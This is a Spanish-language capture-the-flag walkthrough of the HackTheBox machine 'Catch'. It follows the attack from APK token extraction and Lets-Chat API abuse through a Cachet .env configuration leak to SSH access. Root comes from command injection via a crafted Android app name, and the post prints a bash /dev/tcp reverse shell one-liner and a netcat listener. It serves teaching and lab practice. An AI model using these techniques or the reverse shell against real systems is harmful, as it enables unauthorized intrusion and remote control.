HackTheBox - Catch

Lanz
Funk Lanz el
HackTheBox - Catch

Máquina Linux nivel medio. Token 🎵, vamos APIe y Let’s Chat! Jueguitos con variables de entorno en Cachet, credenciales volando y nombres de aplicaciones Android algo peligrosos.

TL;DR (Spanish writeup)

Creada por: MrR3boot.

Algo tienes guardadito…

Empezamos investigando una web que nos descarga un APK, dándole vueltas, encontramos unos tokens de autenticación, jugando con ellos tendremos acceso a la API del servicio Lets-Chat, seguiremos jugando para encontrar en un chat unas credenciales válidas para interactuar con el servicio Cachet.

La versión de Cachet con la que contamos tiene una vulnerabilidad que nos permite extraer variables usadas por el servicio almacenadas en archivos .env, usando esa información obtendremos otras credenciales, pero esta vez para saltar directamente al sistema como el usuario will.

Dentro del sistema encontraremos un script que hace unos chequeitos básicos sobre próximas APKs a ser ejecutadas/lanzadas, este script tiene código interesante que podría involucrar tanto a will como a root, tendremos que inspeccionar línea a línea para llegar a una que por su lógica nos permitiría cambiando el nombre de la APP (no de la APK) obtener una inyección de comandos :O

…

Clasificación de la máquina según la gentesita

La mayoría de vulns reales, una que otra cosita media juguetona, pero en general tocando la realidad.

El blog inicialmente fue para tener mis “notas”, nunca se sabe, quizas un dia se me olvida todo 😄 Despues surgio la otra idea, me di cuenta que esta es una puerta para personitas que como yo, al inicio (o simplemente a veces) nos estancamos en este mundo de la ciberseguridad y no sabemos que hacer o a quien recurrir, así que si puedo ayudarlos mientras me ayudo, ¿por que no hacerlo?

Un detalle es que si ves mucho texto, es por que me gusta mostrar tanto errores como exitos y tambien plasmar todo desde una perspectiva más de enseñanza que de solo pasos a seguir. Demosle <3

…

Bailar, bailar y bailaaaar -

  1. Reconocimiento.
  2. Enumeración.
  3. Explotación.
  4. Escalada de privilegios.

…

Reconocimiento #


Enumeración de puertos con nmap 📌

Vamos a encontrar que puertos (servicios) están expuestos en esta máquina, para ellos emplearemos nmap:

❱ nmap -p- --open -v 10.10.11.150 -oG initScan
Parámetro Descripción
-p- Escanea todos los 65535
–open Solo los puertos que están abiertos
-v Permite ver en consola lo que va encontrando
-oG Guarda el output en un archivo con formato grepeable para usar una función llamada extractPorts de S4vitar que me extrae los puertos en la clipboard

Tenemos:

Puerto Descripción
22 SSH: Podemos obtener una Shell de forma segura.
80 HTTP: Tenemos un servidor web.
3000 Probablemente otro servidor web.
5000 Probablemente otro servidor web.
8000 Probablemente otro servidor web.

Ahora apoyados de nuevo de nmap vamos a intentar descubrir que versiones de software están siendo ejecutadas en cada puerto y además ver si algunos scripts que tiene nmap nos descubren algo distinto a lo que ya tenemos.

~(Usando la función extractPorts (referenciada antes) podemos copiar rápidamente los puertos en la clipboard, en este caso no es necesario (ya que tenemos pocos puertos), pero si tuviéramos varios evitamos tener que escribirlos uno a uno

❱ extractPorts initScan 
[*] Extracting information...

    [*] IP Address: 10.10.11.150
    [*] Open ports: 22,80,3000,5000,8000

[*] Ports copied to clipboard

)~

❱ nmap -p 22,80,3000,5000,8000 -sC -sV 10.10.11.150 -oN portScan
Parámetro Descripción
-p Escaneo de los puertos obtenidos
-sC Muestra todos los scripts relacionados con el servicio
-sV Nos permite ver la versión del servicio
-oN Guarda el output en un archivo

Tenemos algunas cositas relevantes:

Puerto Servicio Versión
22 SSH OpenSSH 8.2p1
80 HTTP Apache 2.4.41
3000 HTTP Ni idea
  • La web tiene este título: Catch Repositories, pa tener en cuenta.
Puerto Servicio Versión
5000 HTTP Tampoco nos informa
  • Vemos: Redirecting to /login, un login 😁
Puerto Servicio Versión
8000 HTTP Apache 2.4.29
  • Otro texto llamativo: Catch Global Systems, quizás la web principal.

Pues encontramos cositas, solo nos queda empezar a entenderlas, así que démosle y rompamos esto!

Enumeración #


Vemos el servidor web del puerto 80 📌

Hay 3 cositas interesantes:

(1) We’re now providing mobile version of our status site.

Esto se relaciona con el botón Download Now, ya que nos provee de un aplicativo móvil (2), si la descargamos tenemos:

❱ ls
catchv1.0.apk

Antes de jugar con ella sigamos explorando la web y los demás sitios.

Y (3) la tercera cosita llamativa es esta línea:

The future enhancements includes Lets-chat/Gitea integration.

Ya que nos cuenta (y se puede relacionar con lo que ya tenemos) dos cosas: “las futuras mejoras incluyen” un chat (vimos un redirect a un login en el puerto 5000, hay que revisar si tiene relación) y una referencia a Gitea (gestor de contenido - contiene repositorios, lo vimos en el puerto 3000). Así que llamativo…

Vemos el servidor web del puerto 3000 📌

Efectivamente, Gitea en su versión 1.14.1.

“Gitea es un paquete de software de código abierto para alojar el control de versiones de desarrollo de software utilizando Git, así como otras funciones de colaboración como el seguimiento de errores y los wikis.” ~ Wikipedia

Buscando exploits con esa versión no logramos nada, e intentando credenciales por default tampoco, así que movámonos al otro puerto, ya que este será importante si llegamos a obtener credenciales.

Vemos el servidor web del puerto 5000 📌

OPAAA, pues si tenemos un chat y también el redirect a la ruta /login!

“Self-hosted chat app for small teams” ~ lets-chat

Buscando vulnerabilidades no vemos gran cosa, así que lo mismo, quedémonos que cuando tengamos credenciales vamos a poder (intentar al menos) ingresar a chatear!

Vemos el servidor web del puerto 8000 📌

Nos muestra lo que parece ser un «log» de “incidentes” por día, lo cual es muy llamativo, ya que quizás debamos irnos fechas antes a buscar incidentes, habrá que ver…

Inspeccionando el sitio encontramos un redirect al /dashboard, pero así mismo al no tener una sesión iniciada obtenemos un login para generarla:

“The open source status page system” ~ cachethq

Lo interesante es que esta app tiene una API en su documentación, pueda que por ahí logremos ver todos los incidentes, pero por ahora no tenemos más :(

Pero también encontramos locuras al buscar cachet exploit en la web, como este SQLi Time-Based, el cual podemos probar con este exploit que extrae un hash (contraseña) del usuario admin:

Solo que para fines de la máquina no nos es relevante.

…

De todo lo enumerado y obtenido podemos enfocarnos en dos cositas, el APK y el tema de los incidentes, a darle!

…

Encontramos tokens caminando por la calle 📌

Antes de volvernos locos con el APK y jugar con análisis dinámico (emuladores), veamos cositas estáticas, por ejemplo texto interesante, código, etc.

Para decompilar (ver todos los objetos que componen el .apk) podemos hacerlo de distintas formas, yo usaré apktool, ya que si jugamos con unzip (el apk a fin de cuentas es un zip (compruébalo con file <APK>)) hay algunos objetos que no revelan por completo su contenido, y usando apktook si lo logramos (:


❱ apktool d catchv1.0.apk -o apk_content

Y:

❱ ls
apk_content  catchv1.0.apk
❱ cd apk_content
❱ ls -lago
total 8
drwxr-xr-x 1   92 jul 18 16:39 .
drwxr-xr-x 1   48 jul 18 16:39 ..
-rw-r--r-- 1  980 jul 18 16:39 AndroidManifest.xml
-rw-r--r-- 1 2179 jul 18 16:39 apktool.yml
drwxr-xr-x 1   54 jul 18 16:39 original
drwxr-xr-x 1 3312 jul 18 16:39 res
drwxr-xr-x 1   36 jul 18 16:39 smali

Pero dando vueltas entre el código y el texto no logre ver nada, así que con mi poco conocimiento sobre Android y APKs caí en la web y encontré este repo: MobSF:

“Mobile Security Framework (MobSF) is an automated, all-in-one mobile application (Android/iOS/Windows) pen-testing, malware analysis and security assessment framework capable of performing static and dynamic analysis.” ~ MobSF

Es una tool muy completa, la instalamos y ejecutamos:

❱ ./run.sh 127.0.0.1:8000

Y si ahora vamos al localhost sobre ese puerto:

Pues procedamos, subamos el .apk a ver qué análisis realiza y que encuentra…

Pues ahí tenemos tooooooda la info que recolecto, si nos fijamos en toda la derecha el scrollbar es gigante, pero para ir por secciones nos ayudamos del menú de la izquierda, así que hay mucho por ver…

Dando rodeos caemos en 2 cositas muuuuuy interesantes:

Hay un subdominio, peeeero no tenemos el puerto 443 para tener algún servicio web con certificado digital (por el https), sin embargo, guardémoslo por si algo.

Yyyyyy hay unos tokens (podemos pensar que son de autenticación con nombres relacionados con servicios que tiene corriendo la máquina, así que juguemos a ver si nos sirven de algo (ah y no encontramos nada más :P).

Explotación #

Para lograr jugar con ese token debemos hacer uso de algún modificador de headers o sencillamente una API relacionada con el servicio, yo tomé la segunda opción (:

Probando inicialmente con la API de gitea no logramos nadita, el siguiente turno es la API de lets-chat.

Para descubrir que tipo de hash tenemos y si es funcional vamos a empezar con la autenticación:

Buscando obtenemos esta forma de usar el token con curl:

Probemos sin/con el token para ver una lista de usuarios:

❱ curl -X GET -H 'Content-Type: application/json' http://10.10.11.150:5000/users

Obtenemos:

Unauthorized

Y ahora agregando el token:

❱ curl -X GET -H 'Content-Type: application/json' -H 'Authorization: Bearer NjFiODZhZWFkOTg0ZTI0NTEwMzZlYjE2OmQ1ODg0NjhmZjhiYWU0NDYzNzlhNTdmYTJiNGU2M2EyMzY4MjI0MzM2YjU5NDljNQ==' http://10.10.11.150:5000/users

(Apoyados de jq hacemos que el output sea correctamente formateado a JSON (además de ser lindo))

PUES TENEMOS ACCESO USANDO EL TOKEEEEEEEEEEEEEEEEEEEEEEEEEEEN!! Pefeto, ahora a explorar y extraer info, por ejemplo todos los usuarios:

❱ curl -...on' -H 'Aut...==' http://10.10.11.150:5000/users | jq '.[] | .username'
"admin"
"john"
"will"
"lucas"

Los podemos guardar por si algo (:

También encontramos las distintas “salas” (rooms) que existen para chatear:

❱ curl -...on' -H 'Aut...==' http://10.10.11.150:5000/rooms

Descripciones interesantes:

"Cachet Updates and Maintenance"
"Android App Updates, Issues & More"
"New Joinees, Org updates"

También existe una ruta llamada messages, que claramente juega con los mensajes (chats) que existan en cada “sala”.

Apoyados de la API vemos que podemos listar pasando el id de la sala, usemos New Joinees, Org updates:

❱ curl -...on' -H 'Aut...==' http://10.10.11.150:5000/messages?room=61b86b3fd984e2451036eb18 | jq
❱ curl -...on' -H 'Aut...==' 'http://10.10.11.150:5000/messages?room=61b86b3fd984e2451036eb18&reverse=false' | jq
### reverse=false : Hace que veamos los mensajes del primero al ultimo

No hay nada relevante, solo nombres que ya descubrimos antes, si miramos el chat Android App Updates, Issues & More tampoco hay nada cautivador, peeeero si miramos Cachet Updates and Maintenance, ñañañaiii:

❱ curl -...on' -H 'Aut...==' 'http://10.10.11.150:5000/messages?room=61b86b28d984e2451036eb17&reverse=false' | jq

Encontramos una conversación donde john le pide al admin que si le crea una cuenta por favor, yyyyyyy el admin procedioooooo! Probando en lets-chat (puerto 5000) notamos que no son válidas, pues hagamos reutilización de contraseñas y veamos si obtenemos una sesión en otro servicio:

  • Tampoco lo son en gitea (puerto 3000)
  • Ni jugando con SSH.

Peeeero con cachet (puerto 8000), ajaaai!

Logramos entrar! Exploremos…

Leakeando variables de configuración con Cachet📌

Recorriendo el sitio obtenemos la versión de Cachet que está siendo usada:

La 2.4.0-dev, pos buscando en la web vulnerabilidades contra ella, tenemos este post mencionando algunas:

Existen 3 CVEs listados en el post:

  • CVE-2021-39172 - Remote Code Execution
  • CVE-2021-39174 - Configuration Leak
  • CVE-2021-39173 - Forced Reinstall

Les recomiendo leer la gran explicación del post sobre el CVE-2021-39172 (RCE), ya que de ahí se entiende muuucho más el que realmente logramos explotar: CVE-2021-39174 (Config Leak).

La explotación se basa en que Cachet expone varias configuraciones al público, estas son almacenadas tanto en una base de datos como en un objeto usado por la app. Cachet utiliza el framework Laravel que usa archivos de configuración dotenv (o .env) estos objetos son similares a los usados en bash para almacenar variables de entorno (${VARIABLE_NAME}).

Jugando se logra descubrir (ver) distintas variables de entorno en los campos que tenemos de la web.

En las configuraciones del proveedor de correos existen los problemitas locos:

(De nuevo, mira el post y entiende a fondo el “como funciona” y “el por que” de esta vuln)

El post nos indica que hay algunas variables por default que siempre están en los objetos .env, como:

APP_KEY
DB_PASSWORD
MAIL_PASSWORD

Entonces la idea es aprovechar que los .env almacenan variables que pueden ser invocadas como si estuviéramos en una Shell (${VARIABLE}), para exponerlas en esos inputs contenedores de las configuraciones del correo. Hagámosle para que quede claro…

Probemos primero con APP_KEY:

Hacemos clic en Save, refrescamos la página yyyyyy:

EEEEEPA! Logramos la explotación, obtener tanto el valor de la variable APP_KEY como también saber que el input Mail From Address es el vulnerable en este caso (: Así que vayamos más profundo, intentemos DB_PASSWORD y si obtenemos respuesta deberíamos por intuición intentar DB_USERNAME:

Perfecto, tenemos una contraseña, miremos si obtenemos el usuario propietario:

Puessss perfecto, tenemos unas credenciales para el usuario will que están siendo usadas como gestor de la DB usada en Cachet 😁 ¿Pero de qué nos sirve esto? AYYYYY! Juguemos con reutilización de contraseñas ñañai!

Al intentarlas contra SSH obtenemoooooos:

UNA SHELL COMO will! Pos a ver como nos convertimos en root (:

Escalada de privilegios #

Si nos vamos a la ruta /opt (que por lo general ahí se guardan herramientas de terceros) encontramos:

will@catch:/opt$ ls -a
.  ..  containerd  mdm

Y dentro de mdm (Mobile Device Manager, toma sentido cuando vemos su contenido):

will@catch:/opt/mdm$ ls -la
total 16
drwxr-x--x+ 3 root root 4096 Mar  3 14:23 .
drwxr-xr-x  4 root root 4096 Dec 16  2021 ..
drwxrwx--x+ 2 root root 4096 Jul 21 00:10 apk_bin
-rwxr-x--x+ 1 root root 1894 Mar  3 14:23 verify.sh

Una carpeta para guardar binarios APK y un script con este contenido:

verify.sh

Esto es bastante curioso, ya que la mayoría de rutas involucran a /root, solo que también a la carpeta que vimos antes: apk_bin, En esta carpeta tenemos acceso de escritura, así que podemos pensar que este script está siendo usado por el administrador para hacer algún tratamiento a las distintas APKs que existan en esa ruta del sistema :O

Pues entendamos un poco el script y veamos si existe alguna cosita mal escrita o mal pensada de la que nos podamos aprovechar!

1️⃣ Tenemos inicialmente la función sig_check en la que se valida si la APK está firmada (si cuenta con un certificado digital) usando la herramienta jarsigner:

...
jarsigner -verify "RUTA/DEL/ARCHIVO"
...

Que si hacemos la prueba con el APK que descargamos al inicio de la máquina y donde obtuvimos los tokens, tenemos:

❱ jarsigner -verify catchv1.0.apk

jar verified.

Si está firmada pasamos a otra fase:

2️⃣ Usando la función comp_check confirma que el APK tenga una version SDK compatible, para ello lo que hace es decompilar el APK (¿recuerdas que lo hicimos al inicio?) y leer del objeto AndroidManifest.xml la versión del SDK:

Según una respuesta de stackoverflow la compileSdkVersion es la version de la API con la que la APP ha sido compilada, esto quiere decir que será la version compatible con Android features (plugins, etc.)

...
apktool d -s "RUTA/DEL/ARCHIVO" -o DONDE/QUEREMOS/GUARDAR/EL/OUTPUT
grep -oPm1 "(?<=compileSdkVersion=\")[^\"]+" "DONDE/QUEREMOS/GUARDAR/EL/OUTPUT/AndroidManifest.xml"
...

Que si hacemos de nuevo la prueba:

❱ apktool d catchv1.0.apk -o aca_esta_en_pedazitos
❱ cd aca_esta_en_pedazitos/
❱ ls -a
.  ..  AndroidManifest.xml  apktool.yml  original  res  smali
❱ grep -oPm1 "(?<=compileSdkVersion=\")[^\"]+" "aca_esta_en_pedazitos/AndroidManifest.xml"
32

Si nos devuelve una versión y además es mayor a 18 podemos pasar a la última fase:

3️⃣ Por medio de la función app_check extrae el nombre de la aplicación para comprobar si en él existe la cadena de texto “Catch”:

...
grep -oPm1 "(?<=<string name=\"app_name\">)[^<]+" "DONDE/QUEREMOS/GUARDAR/EL/OUTPUT/res/values/strings.xml"
...
if [[ $APP_NAME == *"Catch"* ]]; then
    echo -n $APP_NAME|xargs -I {} sh -c 'mkdir {}'
    mv "UNA/RUTA/$APK_NAME" "OTRA/RUTA/$APP_NAME/UN_ARCHIVO"
    ...
...

En el if notamos un comando para crear carpetas en el sistema: mkdir, entendamos qué está haciendo antes de especular:

❱ grep -oPm1 "(?<=<string name=\"app_name\">)[^<]+" "aca_esta_en_pedazitos/res/values/strings.xml"
Catch

Perfecto contiene la cadena, ahora el if:

❱ cat test_xargSh.sh 
APP_NAME="Catch"

if [[ $APP_NAME == *"Catch"* ]]; then
    echo -n $APP_NAME|xargs -I {} sh -c 'mkdir {}'
fi
❱ ./test_xargSh.sh
❱ ls
Catch

Pos efectivamente nos crea una carpeta donde SU nombre es EL nombre de la aplicación!!! WOWOWOWOWOW. Esto está muuy interesante, sobretodo si miramos bien el if: no busca exactamente Catch, sino que entre TOOOODA la cadena mira si en ella existe ese substring :O

¿Por lo que, qué se te ocurre?

EXAAACTO, si logramos una manera de tener control sobre el nombre de la aplicación, podríamos aprovechar el uso que hace con xargs ... sh para enviar en el nombre de la app otro comando, algo así:

Nombre Original: Catch
Comando original: mkdir Catch
Nombre Exploit: Catch; COMANDO
Comando Exploit: mkdir Catch; COMANDO

Por lo que lograríamos una inyección de comandos bien guapetona (: Pero claro, antes de eso debemos modificar el nombre de la app, volverla a compilar, firmarla y subirla a la máquina víctima a ver si es verdad que root está de vez en cuando revisando esa carpeta y finalmente obtener la ejecución de comandos, a darle!

Compilamos y firmamos APK con nombre chistoso 📌

🛎️🛎️🛎️ (Probaremos a ejecutar el comando id y que su resultado sea enviado a un puerto de nuestro sistema)

Como realmente no interesa si el APK va a ser ejecutado (o sea, no debemos generar un APK con contenido en su ejecución malicioso), entonces podemos usar el mismo objeto catchv1.0.apk para jugar.

🖕 El primer paso ya está, el de decompilar el APK para tener todo su contenido fragmentado:

❱ apktool d catchv1.0.apk -o aca_esta_en_pedazitos
# d = decode

💕 Ahora debemos modificar el nombre de la app:

Ya sabemos de donde la saca, así que sabemos donde debemos cambiarla.

Abrimos el objeto en modo escritura y agregamos nuestro comando, finalmente quedaría así:

🖱️ En este paso debemos reconstruir la APP, o sea compilarla (generar el APK), usaremos también apktool:

❱ apktool b aca_esta_en_pedazitos/

Esto lo que hace es generar una carpeta llamada /dist dentro de aca_esta_en_pedazitos con el APK generado:

❱ ls aca_esta_en_pedazitos/dist/
catchv1.0.apk

Este es el APK que subiremos (: El maaaaliciosooooowooooooo :P

🍀 Pero antes necesitamos firmarlo con un certificado digital:

Solo que antes de firmarlo debemos generar una llave que estará asociada a ese certificado, usaremos keytool…

❱ cd aca_esta_en_pedazitos/dist/
❱ keytool -genkey -v -keystore juguito_de_mora.keystore -alias mora -keyalg RSA -keysize 2048 -validity 10000

(Nos pedirá al inicio una contraseña, le pondremos cualquiera que nos guste, yo use holahola y los demás datos también son random, recordemos que no válida nada de esto el script)

La llave se llama juguito_de_mora.keystore y su alias es mora, ahora si firmemos el APK con jarsigner y esta llave:

❱ jarsigner -verbose -sigalg SHA1withRSA -digestalg SHA1 -keystore juguito_de_mora.keystore catchv1.0.apk mora

Le pasamos al final los 3 elementos con los que contamos: nombre de llave, el archivo APK y el alias de la llave.

Nos pide la contraseña que asignamos, finalmente tenemos:

Validamos por si algo:

❱ jarsigner -verify catchv1.0.apk

jar verified.

Tamos listos pal último paso.

🛸 Subir el APK a la máquina, levantar servidor sobre el puerto donde recibiremos el output del comando y ser felices obteniendo el command-injection:

Pongámonos en escucha por el puerto 4450:

❱ nc -lvp 4450
listening on [any] 4450 ...

Subimos el objeto a la máquina víctima, lo copiamos a la ruta /opt/mdm/apk_bin/ y vemos si nuestras expectativas eran reales y root ejecuta el script:

.. …. Esperamos un rato.:..::

Vemos el id del usuario root! Así que encontramos una ejecución de comandos como ese usuario en el sistema 😁

…

Para no hacer largo el writeup la idea es la misma para cualquier comando que quieras ejecutar, así que vamos a obtener una Reverse Shell…

Te dejo el script (me apoyé del que explotamos) para generar el APK con cualquier comando (: (te invito a antes automatizarlo tu mismo, es solo acoplar lo ya visto)

apk_namejection.sh

❱ ./apk_namejection.sh 'bash -i >& /dev/tcp/10.10.14.90/4450 0>&1'

Tamos! Veamos las flags :P

…

Una muy linda máquina, el tema de las APIs fue entretenido, el cómo aprovechamos el jugueteo de los .env muy chévere y el movimiento locochón con lso nombres del APP me gustaron, una buena máquina con conceptos interesantes!

Nos leemos prontico, besitos y a seguir rompiendo de todoooooooooooooooooooooooooo! 😉

Comments

comments powered by Disqus